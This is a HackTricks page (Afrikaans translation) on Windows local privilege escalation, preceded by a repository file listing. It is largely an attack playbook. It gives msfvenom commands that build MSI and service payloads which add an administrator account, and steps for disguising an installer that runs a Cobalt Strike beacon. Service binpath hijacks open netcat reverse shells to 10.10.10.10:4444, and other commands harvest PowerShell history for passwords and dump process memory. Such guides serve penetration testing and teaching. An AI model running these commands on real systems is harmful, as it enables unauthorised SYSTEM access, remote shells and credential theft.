hacktricks/windows-hardening/windows-local-privilege-escalation
2024-04-18 13:51:52 +00:00
..
dll-hijacking Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/REA 2024-04-07 05:33:57 +00:00
privilege-escalation-abusing-tokens Translated ['windows-hardening/windows-local-privilege-escalation/privil 2024-02-25 12:24:05 +00:00
access-tokens.md Translated ['README.md', 'crypto-and-stego/hash-length-extension-attack. 2024-04-18 04:05:40 +00:00
acls-dacls-sacls-aces.md Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/REA 2024-04-07 05:33:57 +00:00
appenddata-addsubdirectory-permission-over-service-registry.md Translated to Afrikaans 2024-02-11 02:07:06 +00:00
com-hijacking.md Translated to Afrikaans 2024-02-11 02:07:06 +00:00
create-msi-with-wix.md Translated to Afrikaans 2024-02-11 02:07:06 +00:00
dll-hijacking.md Translated ['forensics/basic-forensic-methodology/specific-software-file 2024-02-18 14:51:58 +00:00
dpapi-extracting-passwords.md Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/REA 2024-04-07 05:33:57 +00:00
from-high-integrity-to-system-with-name-pipes.md Translated to Afrikaans 2024-02-11 02:07:06 +00:00
integrity-levels.md Translated ['macos-hardening/macos-security-and-privilege-escalation/mac 2024-04-18 13:51:52 +00:00
juicypotato.md Translated ['README.md', 'crypto-and-stego/hash-length-extension-attack. 2024-04-18 04:05:40 +00:00
leaked-handle-exploitation.md Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/REA 2024-04-07 05:33:57 +00:00
msi-wrapper.md Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/REA 2024-04-07 05:33:57 +00:00
named-pipe-client-impersonation.md Translated to Afrikaans 2024-02-11 02:07:06 +00:00
privilege-escalation-abusing-tokens.md Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/REA 2024-04-07 05:33:57 +00:00
privilege-escalation-with-autorun-binaries.md Translated ['forensics/basic-forensic-methodology/specific-software-file 2024-02-18 14:51:58 +00:00
README.md Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/REA 2024-04-07 05:33:57 +00:00
roguepotato-and-printspoofer.md Translated ['README.md', 'crypto-and-stego/hash-length-extension-attack. 2024-04-18 04:05:40 +00:00
sedebug-+-seimpersonate-copy-token.md Translated to Afrikaans 2024-02-11 02:07:06 +00:00
seimpersonate-from-high-to-system.md Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/REA 2024-04-07 05:33:57 +00:00
windows-c-payloads.md Translated to Afrikaans 2024-02-11 02:07:06 +00:00

Windows Plaaslike Bevoorregte-escalasie

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Beste hulpmiddel om te soek na Windows plaaslike bevoorregte-escalasie vektore: WinPEAS

Aanvanklike Windows-teorie

Toegangstokens

As jy nie weet wat Windows-toegangstokens is nie, lees die volgende bladsy voordat jy voortgaan:

{% content-ref url="access-tokens.md" %} access-tokens.md {% endcontent-ref %}

ACL's - DACL's/SACL's/ACE's

Kyk na die volgende bladsy vir meer inligting oor ACL's - DACL's/SACL's/ACE's:

{% content-ref url="acls-dacls-sacls-aces.md" %} acls-dacls-sacls-aces.md {% endcontent-ref %}

Integriteitsvlakke

As jy nie weet wat integriteitsvlakke in Windows is nie, moet jy die volgende bladsy lees voordat jy voortgaan:

{% content-ref url="integrity-levels.md" %} integrity-levels.md {% endcontent-ref %}

Windows-sekuriteitskontroles

Daar is verskillende dinge in Windows wat jou kan verhoed om die stelsel te ontleed, uitvoerbare lêers uit te voer of selfs jou aktiwiteite op te spoor. Jy moet die volgende bladsy lees en al hierdie verdedigingsmeganismes ontleed voordat jy met die bevoorregte-escalasie-ontleding begin:

{% content-ref url="../authentication-credentials-uac-and-efs/" %} authentication-credentials-uac-and-efs {% endcontent-ref %}

Stelselinligting

Versie-inligtingontleding

Kyk of die Windows-weergawe enige bekende kwesbaarheid het (kyk ook na die gepaste opdaterings).

systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information
wmic qfe get Caption,Description,HotFixID,InstalledOn #Patches
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get system architecture
[System.Environment]::OSVersion.Version #Current OS version
Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches
Get-Hotfix -description "Security update" #List only "Security Update" patches

Weergawe-uitbuitings

Hierdie webwerf is handig om gedetailleerde inligting oor Microsoft-sekuriteitskwesbaarhede op te soek. Hierdie databasis het meer as 4,700 sekuriteitskwesbaarhede, wat die massiewe aanvalsoppervlak wat 'n Windows-omgewing bied, aantoon.

Op die stelsel

  • post/windows/gather/enum_patches
  • post/multi/recon/local_exploit_suggester
  • watson
  • winpeas (Winpeas het watson ingebed)

Lokaal met stelselinligting

Github-opberging van uitbuitings:

Omgewing

Enige geloofsbriewe/Sappige inligting wat in die omgewingsveranderlikes gestoor is?

set
dir env:
Get-ChildItem Env: | ft Key,Value

PowerShell Geskiedenis

ConsoleHost_history #Find the PATH where is saved

type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type C:\Users\swissky\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
cat (Get-PSReadlineOption).HistorySavePath
cat (Get-PSReadlineOption).HistorySavePath | sls passw

PowerShell Oorplasing lêers

Jy kan leer hoe om dit aan te skakel in https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/

#Check is enable in the registry
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
dir C:\Transcripts

#Start a Transcription session
Start-Transcript -Path "C:\transcripts\transcript0.txt" -NoClobber
Stop-Transcript

PowerShell Module Logging

Besonderhede van PowerShell pyplyn uitvoerings word aangeteken, insluitende uitgevoerde bevele, bevel oproepe, en dele van skripte. Tog mag volledige uitvoeringsbesonderhede en uitsetresultate nie vasgelê word nie.

Om dit moontlik te maak, volg die instruksies in die "Transkripsie lêers" afdeling van die dokumentasie, en kies vir "Module Logging" in plaas van "Powershell Transkripsie".

reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging

Om die laaste 15 gebeure vanaf PowersShell-logboeke te sien, kan jy uitvoer:

Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView

PowerShell Skripsbloklogging

'n Volledige aktiwiteit en volledige inhoudsrekord van die skrips se uitvoering word vasgelê, wat verseker dat elke blok kode gedokumenteer word soos dit loop. Hierdie proses behou 'n omvattende ouditstelspoor van elke aktiwiteit, wat waardevol is vir forensiese ondersoek en die analise van skadelike gedrag. Deur alle aktiwiteit tydens die uitvoering te dokumenteer, word gedetailleerde insigte in die proses verskaf.

reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging

Die loggebeure vir die Skripsblok kan gevind word binne die Windows Gebeurtenis Kyker by die pad: Toepassing en Diens Logboeke > Microsoft > Windows > PowerShell > Operasioneel.
Om die laaste 20 gebeure te sien, kan jy die volgende gebruik:

Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview

Internet Instellings

reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings"

Bestuurs

wmic logicaldisk get caption || fsutil fsinfo drives
wmic logicaldisk get caption,description,providername
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root

WSUS

Jy kan die stelsel kompromitteer as die opdaterings nie aangevra word met httpS nie, maar met http.

Jy begin deur te kyk of die netwerk 'n nie-SSL WSUS-opdatering gebruik deur die volgende uit te voer:

reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer

Indien jy 'n antwoord soos die volgende kry:

HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate
WUServer    REG_SZ    http://xxxx-updxx.corp.internal.com:8535

En as HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer gelyk is aan 1.

Dan, dit is vatbaar vir uitbuiting. As die laaste register gelyk is aan 0, sal die WSUS-inskrywing geïgnoreer word.

Om hierdie kwesbaarhede uit te buit, kan jy gereedskap soos gebruik: Wsuxploit, pyWSUS - Hierdie is MiTM-gewapende uitbuitingskriptos om 'n 'vals' opdatering in te spuit in nie-SSL WSUS-verkeer.

Lees die navorsing hier:

{% file src="../../.gitbook/assets/CTX_WSUSpect_White_Paper (1).pdf" %}

WSUS CVE-2020-1013

Lees die volledige verslag hier.
Basies, dit is die fout wat hierdie fout uitbuit:

As ons die mag het om ons plaaslike gebruikersproksi te wysig, en Windows Updates gebruik die proksi wat in Internet Explorer se instellings gekonfigureer is, het ons dus die mag om PyWSUS plaaslik te hardloop om ons eie verkeer te onderskep en kode as 'n verhewe gebruiker op ons bate uit te voer.

Verder, aangesien die WSUS-diens die huidige gebruiker se instellings gebruik, sal dit ook sy sertifikaatstoor gebruik. As ons 'n selfondertekende sertifikaat vir die WSUS-gashuisnaam genereer en hierdie sertifikaat by die huidige gebruiker se sertifikaatstoor voeg, sal ons in staat wees om beide HTTP- en HTTPS-WSUS-verkeer te onderskep. WSUS gebruik geen HSTS-soort meganismes om 'n vertrou-op-eerste-gebruik-tipe validering op die sertifikaat te implementeer nie. As die aangebiede sertifikaat deur die gebruiker vertrou word en die korrekte gashuisnaam het, sal dit deur die diens aanvaar word.

Jy kan hierdie kwesbaarheid uitbuit met die gereedskap WSUSpicious (sodra dit vrygestel word).

KrbRelayUp

'n Plaaslike voorreg-escalatie-kwesbaarheid bestaan in Windows domein-omgewings onder spesifieke toestande. Hierdie toestande sluit omgewings in waar LDAP-ondertekening nie afgedwing word nie, gebruikers self-regte besit wat hulle in staat stel om Hulpbron-Gebaseerde Beperkte Delegasie (RBCD) te konfigureer, en die vermoë vir gebruikers om rekenaars binne die domein te skep. Dit is belangrik om te let dat hierdie vereistes voldoen word deur verstekinstellings te gebruik.

Vind die uitbuiting in https://github.com/Dec0ne/KrbRelayUp

Vir meer inligting oor die vloei van die aanval, kyk na https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/

AlwaysInstallElevated

As hierdie 2 registers geaktiveer is (waarde is 0x1), kan gebruikers met enige voorreg *.msi-lêers as NT AUTHORITY\SYSTEM installeer (uitvoer).

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Metasploit ladingstelsels

msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted

Indien jy 'n meterpreter-sessie het, kan jy hierdie tegniek outomatiseer deur die module exploit/windows/local/always_install_elevated te gebruik.

PowerUP

Gebruik die Write-UserAddMSI bevel van power-up om binne die huidige gids 'n Windows MSI-binêre lêer te skep om voorregte te eskaleer. Hierdie skripsie skryf 'n vooraf saamgestelde MSI-installeerder wat vir 'n gebruiker/groep byvoeging versoek (dus sal jy GUI-toegang benodig):

Write-UserAddMSI

Uitvoer die geskepte binêre lêer om voorregte te verhoog.

MSI-Omhulsel

Lees hierdie handleiding om te leer hoe om 'n MSI-omhulsel te skep met behulp van hierdie gereedskap. Let daarop dat jy 'n ".bat" lêer kan omhul as jy net wil opdragreëls uitvoer.

{% content-ref url="msi-wrapper.md" %} msi-wrapper.md {% endcontent-ref %}

Skep MSI met WIX

{% content-ref url="create-msi-with-wix.md" %} create-msi-with-wix.md {% endcontent-ref %}

Skep MSI met Visual Studio

  • Genereer met Cobalt Strike of Metasploit 'n nuwe Windows EXE TCP-lading in C:\privesc\beacon.exe
  • Maak Visual Studio oop, kies Skep 'n nuwe projek en tik "installer" in die soekblokkie. Kies die Opstel-wizard-projek en klik Volgende.
  • Gee die projek 'n naam, soos AlwaysPrivesc, gebruik C:\privesc vir die ligging, kies plaas oplossing en projek in dieselfde gids, en klik Skep.
  • Bly klik Volgende tot jy by stap 3 van 4 kom (kies lêers om in te sluit). Klik Voeg by en kies die Beacon-lading wat jy net gegenereer het. Klik dan Voltooi.
  • Lig die AlwaysPrivesc-projek in die Oplossingsontleder uit en in die Eienskappe, verander TargetPlatform van x86 na x64.
  • Daar is ander eienskappe wat jy kan verander, soos die Skrywer en Vervaardiger wat die geïnstalleerde program meer geloofwaardig kan laat lyk.
  • Regskliek op die projek en kies Beeld > Aangepaste Handelinge.
  • Regskliek op Installeer en kies Voeg Aangepaste Handeling by.
  • Dubbelklik op Toepassingsgids, kies jou beacon.exe-lêer en klik OK. Dit sal verseker dat die beacon-lading uitgevoer word sodra die installeerder uitgevoer word.
  • Verander onder die Eienskappe van Aangepaste Handeling, Run64Bit na Waar.
  • Laastens, bou dit.
  • As die waarskuwing Lêer 'beacon-tcp.exe' wat 'x64' teiken, is nie versoenbaar met die projek se teikenplatform 'x86' getoon word, maak seker jy stel die platform na x64.

MSI-installasie

Om die installasie van die skadelike .msi-lêer in die agtergrond uit te voer:

msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi

Om hierdie kwesbaarheid uit te buuit, kan jy gebruik maak van: exploit/windows/local/always_install_elevated

Antivirus en Detectors

Ouditinstellings

Hierdie instellings besluit wat gelog word, so jy moet aandag gee

reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit

WEF

Windows Event Forwarding, is interessant om te weet waar die logbestande gestuur word

reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager

LAPS

LAPS is ontwerp vir die bestuur van plaaslike Administrateur wagwoorde, wat verseker dat elke wagwoord uniek, willekeurig, en gereeld opgedateer word op rekenaars wat by 'n domein aangesluit is. Hierdie wagwoorde word veilig binne Active Directory gestoor en kan slegs deur gebruikers wat voldoende regte deur ACLs verleen is, benader word, wat hulle in staat stel om plaaslike admin wagwoorde te sien indien gemagtig.

{% content-ref url="../active-directory-methodology/laps.md" %} laps.md {% endcontent-ref %}

WDigest

Indien aktief, word plain-text wagwoorde in LSASS (Local Security Authority Subsystem Service) gestoor.
Meer inligting oor WDigest op hierdie bladsy.

reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential

LSA-beskerming

Vanaf Windows 8.1 het Microsoft verbeterde beskerming vir die Plaaslike Sekuriteitsowerheid (LSA) ingevoer om pogings deur onbetroubare prosesse te blokkeer om sy geheue te lees of kode in te spuit, wat die stelsel verder beveilig.
Meer inligting oor LSA-beskerming hier.

reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL

Geloofsbewaring

Geloofsbewaring is in Windows 10 ingevoer. Dit doel is om die geloofsbewaring van die toestel se geloofsbewaring teen bedreigings soos oor-die-hashing aanvalle te beskerm.| Meer inligting oor Geloofsbewaring hier.

reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags

Gekasieerde Geldeenhede

Domein-geloofsbriewe word geauthentiseer deur die Plaaslike Sekuriteitsowerheid (LSA) en word deur bedryfstelselkomponente gebruik. Wanneer 'n gebruiker se aanmeldingsdata geauthentiseer word deur 'n geregistreerde sekuriteitspakket, word gewoonlik domein-geloofsbriewe vir die gebruiker gevestig.
Meer inligting oor Gekasieerde Geldeenhede hier.

reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT

Gebruikers & Groepe

Enumerateer Gebruikers & Groepe

Jy moet nagaan of enige van die groepe waar jy deel van uitmaak interessante regte het.

# CMD
net users %username% #Me
net users #All local users
net localgroup #Groups
net localgroup Administrators #Who is inside Administrators group
whoami /all #Check the privileges

# PS
Get-WmiObject -Class Win32_UserAccount
Get-LocalUser | ft Name,Enabled,LastLogon
Get-ChildItem C:\Users -Force | select Name
Get-LocalGroupMember Administrators | ft Name, PrincipalSource

Bevoorregte groepe

Indien jy deel is van 'n bevoorregte groep, kan jy bevoorregte regte moontlik eskaleer. Leer meer oor bevoorregte groepe en hoe om hulle te misbruik om regte te eskaleer hier:

{% content-ref url="../active-directory-methodology/privileged-groups-and-token-privileges.md" %} privileged-groups-and-token-privileges.md {% endcontent-ref %}

Token manipulasie

Leer meer oor wat 'n token is op hierdie bladsy: Windows Tokens.
Besoek die volgende bladsy om meer te leer oor interessante tokens en hoe om hulle te misbruik:

{% content-ref url="privilege-escalation-abusing-tokens.md" %} privilege-escalation-abusing-tokens.md {% endcontent-ref %}

Ingeteken gebruikers / Sessies

qwinsta
klist sessions

Tuisgids

dir C:\Users
Get-ChildItem C:\Users

Wagwoordbeleid

net accounts

Kry die inhoud van die knipbord

powershell -command "Get-Clipboard"

Hardloopprosesse

Lêer- en Vouerregte

Eerstens, lys die prosesse om vir wagwoorde binne die opdragreël van die proses te soek.
Kyk of jy sekere binêre lopies kan oorskryf of as jy skryfregte van die binêre vouer het om moontlike DLL Hijacking-aanvalle te benut:

Tasklist /SVC #List processes running and services
tasklist /v /fi "username eq system" #Filter "system" processes

#With allowed Usernames
Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize

#Without usernames
Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id

Kontroleer altyd vir moontlike electron/cef/chromium debuggers wat loop, jy kan dit misbruik om voorregte te verhoog](../../linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md).

Kontroleer die regte van die prosesse se binêre lêers

for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do (
for /f eol^=^"^ delims^=^" %%z in ('echo %%x') do (
icacls "%%z"
2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo.
)
)

Die kontroleer van die toestemmings van die lêers van die prosesse se binêre lêers (DLL Hijacking)

for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v
"system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do (
icacls "%%~dpy\" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users
todos %username%" && echo.
)

Geheue wagwoordontginning

Jy kan 'n geheuedump van 'n lopende proses skep deur procdump van sysinternals te gebruik. Dienste soos FTP het die **gelo

procdump.exe -accepteula -ma <proc_name_tasklist>

Onveilige GUI-toepassings

Toepassings wat as SISTEEM loop, kan 'n gebruiker toelaat om 'n CMD te skep, of deurlêer na gids.

Voorbeeld: "Windows Help en Ondersteuning" (Windows + F1), soek vir "opdrag-prompt", klik op "Klik om die Opdrag-prompt oop te maak"

Dienste

Kry 'n lys van dienste:

net start
wmic service list brief
sc query
Get-Service

Regte

Jy kan sc gebruik om inligting oor 'n diens te kry

sc qc <service_name>

Dit word aanbeveel om die binêre accesschk van Sysinternals te hê om die vereiste bevoorregtingsvlak vir elke diens te kontroleer.

accesschk.exe -ucqv <Service_Name> #Check rights for different groups

Dit word aanbeveel om te kontroleer of "Authenticated Users" enige diens kan wysig:

accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -uwcqv %USERNAME% * /accepteula
accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula 2>nul
accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version

Jy kan accesschk.exe vir XP hier aflaai

Skakel diens in

As jy hierdie fout ervaar (byvoorbeeld met SSDPSRV):

Stelselfout 1058 het voorgekom.
Die diens kan nie gestart word nie, óf omdat dit uitgeskakel is, óf omdat dit geen geaktiveerde toestelle daarmee geassosieer het nie.

Jy kan dit aktiveer deur gebruik te maak van

sc config SSDPSRV start= demand
sc config SSDPSRV obj= ".\LocalSystem" password= ""

Neem in ag dat die diens upnphost afhanklik is van SSDPSRV om te werk (vir XP SP1)

'n Ander omweg vir hierdie probleem is om uit te voer:

sc.exe config usosvc start= auto

Wysig diens binêre pad

In die scenario waar die "Authenticated users" groep SERVICE_ALL_ACCESS op 'n diens besit, is dit moontlik om die uitvoerbare binêre van die diens te wysig. Om sc te wysig en uit te voer:

sc config <Service_Name> binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"
sc config <Service_Name> binpath= "net localgroup administrators username /add"
sc config <Service_Name> binpath= "cmd \c C:\Users\nc.exe 10.10.10.10 4444 -e cmd.exe"

sc config SSDPSRV binpath= "C:\Documents and Settings\PEPE\meter443.exe"

Herlaai diens

wmic service NAMEOFSERVICE call startservice
net stop [service name] && net start [service name]

Priviliges kan verhoog word deur verskeie toestemmings:

  • SERVICE_CHANGE_CONFIG: Laat herkonfigurasie van die diens se binêre lêer toe.
  • WRITE_DAC: Stel toestemmingherkonfigurasie in, wat lei tot die vermoë om dienskonfigurasies te verander.
  • WRITE_OWNER: Maak eienaarskapverkryging en toestemmingherkonfigurasie moontlik.
  • GENERIC_WRITE: Erf die vermoë om dienskonfigurasies te verander.
  • GENERIC_ALL: Erf ook die vermoë om dienskonfigurasies te verander.

Vir die opsporing en uitbuiting van hierdie kwesbaarheid kan die exploit/windows/local/service_permissions gebruik word.

Diensbinêre swak toestemmings

Kyk of jy die binêre lêer kan wysig wat deur 'n diens uitgevoer word of as jy skryftoestemmings op die vouer waar die binêre lêer geleë is (DLL Ontvoering).
Jy kan elke binêre lêer wat deur 'n diens uitgevoer word kry deur wmic (nie in system32 nie) te gebruik en jou toestemmings te kontroleer deur icacls te gebruik:

for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt

for /f eol^=^"^ delims^=^" %a in (%temp%\perm.txt) do cmd.exe /c icacls "%a" 2>nul | findstr "(M) (F) :\"

Jy kan ook sc en icacls gebruik:

sc query state= all | findstr "SERVICE_NAME:" >> C:\Temp\Servicenames.txt
FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txt
FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> C:\Temp\path.txt

Dienste-register wysigingsregte

Jy moet nagaan of jy enige dienste-register kan wysig. Jy kan jou regte oor 'n dienste-register nagaan deur:

reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services

#Try to write every service with its current content (to check if you have write permissions)
for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\reg.hiv 2>nul & reg save %a %temp%\reg.hiv 2>nul && reg restore %a %temp%\reg.hiv 2>nul && echo You can modify %a

get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i "<Username> Users Path Everyone"

Dit moet nagegaan word of Authenticated Users of NT AUTHORITY\INTERACTIVE FullControl-toestemmings het. Indien wel, kan die binêre lêer wat deur die diens uitgevoer word, verander word.

Om die Pad van die uitgevoerde binêre lêer te verander:

reg add HKLM\SYSTEM\CurrentControlSet\services\<service_name> /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f

Dienste-register AppendData/AddSubdirectory-toestemmings

Indien jy hierdie toestemming oor 'n register het, beteken dit dat jy subregisters van hierdie een kan skep. In die geval van Windows-dienste is dit genoeg om arbitrêre kode uit te voer:

{% content-ref url="appenddata-addsubdirectory-permission-over-service-registry.md" %} appenddata-addsubdirectory-permission-over-service-registry.md {% endcontent-ref %}

Ongeslote Dienspaaie

Indien die pad na 'n uitvoerbare lêer nie binne aanhalingstekens is nie, sal Windows probeer om elke einde voor 'n spasie uit te voer.

Byvoorbeeld, vir die pad C:\Program Files\Some Folder\Service.exe sal Windows probeer om uit te voer:

C:\Program.exe
C:\Program Files\Some.exe
C:\Program Files\Some Folder\Service.exe

Lys van alle ongekwoteerde dienspaaie, uitgesluit dié wat behoort aan ingeboude Windows-dienste:

wmic service get name,displayname,pathname,startmode |findstr /i "Auto" | findstr /i /v "C:\Windows\\" |findstr /i /v """
wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v """ #Not only auto services

#Other way
for /f "tokens=2" %%n in ('sc query state^= all^| findstr SERVICE_NAME') do (
for /f "delims=: tokens=1*" %%r in ('sc qc "%%~n" ^| findstr BINARY_PATH_NAME ^| findstr /i /v /l /c:"c:\windows\system32" ^| findstr /v /c:""""') do (
echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && icacls %%s | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%") && echo.
)
)
gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name

Jy kan hierdie kwesbaarheid opspoor en uitbuit met metasploit: exploit/windows/local/trusted\_service\_path Jy kan handmatig 'n diens-binêre lêer skep met metasploit:

msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe

Herstelaksies

Windows laat gebruikers toe om aksies te spesifiseer wat geneem moet word as 'n diens misluk. Hierdie kenmerk kan ingestel word om na 'n binêre lêer te verwys. As hierdie binêre lêer vervangbaar is, kan voorreg-escalasie moontlik wees. Meer besonderhede kan gevind word in die ampptelike dokumentasie.

Toepassings

Geïnstalleerde Toepassings

Kontroleer die toestemmings van die binêre lêers (miskien kan jy een oorskryf en voorregte eskaleer) en van die lêers (DLL Ontvoering).

dir /a "C:\Program Files"
dir /a "C:\Program Files (x86)"
reg query HKEY_LOCAL_MACHINE\SOFTWARE

Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime
Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name

Skryf Toestemmings

Kyk of jy 'n konfigurasie lêer kan wysig om 'n spesiale lêer te lees of as jy 'n binêre lêer kan wysig wat deur 'n Administrateur-rekening uitgevoer gaan word (schedtasks).

'n Manier om swak vouer/lêer toestemmings in die stelsel te vind, is om te doen:

accesschk.exe /accepteula
# Find all weak folder permissions per drive.
accesschk.exe -uwdqs Users c:\
accesschk.exe -uwdqs "Authenticated Users" c:\
accesschk.exe -uwdqs "Everyone" c:\
# Find all weak file permissions per drive.
accesschk.exe -uwqs Users c:\*.*
accesschk.exe -uwqs "Authenticated Users" c:\*.*
accesschk.exe -uwdqs "Everyone" c:\*.*
icacls "C:\Program Files\*" 2>nul | findstr "(F) (M) :\" | findstr ":\ everyone authenticated users todos %username%"
icacls ":\Program Files (x86)\*" 2>nul | findstr "(F) (M) C:\" | findstr ":\ everyone authenticated users todos %username%"
Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'Everyone'} } catch {}}

Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch {}}

Hardloop by opstarts

Kyk of jy enige register of binêre lêer kan oorskryf wat deur 'n ander gebruiker uitgevoer gaan word.
Lees die volgende bladsy om meer te leer oor interessante autorun-plekke om voorregte te eskaleer:

{% content-ref url="privilege-escalation-with-autorun-binaries.md" %} privilege-escalation-with-autorun-binaries.md {% endcontent-ref %}

Bestuurders

Soek na moontlike derde party vreemde/ kwesbare bestuurders

driverquery
driverquery.exe /fo table
driverquery /SI

PAD DLL Ontvoering

Indien jy skryfregte binne 'n gids op die PAD het, kan jy dalk 'n DLL wat deur 'n proses gelaai word, ontvoer en sodoende jou regte verhoog.

Kontroleer die regte van alle gidse binne die PAD:

for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )

Vir meer inligting oor hoe om hierdie kontrole te misbruik:

{% content-ref url="dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md" %} writable-sys-path-+dll-hijacking-privesc.md {% endcontent-ref %}

Netwerk

Aandele

net view #Get a list of computers
net view /all /domain [domainname] #Shares on the domains
net view \\computer /ALL #List shares of a computer
net use x: \\computer\share #Mount the share locally
net share #Check current shares

gasheer-lêer

Kyk vir ander bekende rekenaars wat hardgekoppel is op die gasheer-lêer

type C:\Windows\System32\drivers\etc\hosts

Netwerkinterfaces & DNS

ipconfig /all
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
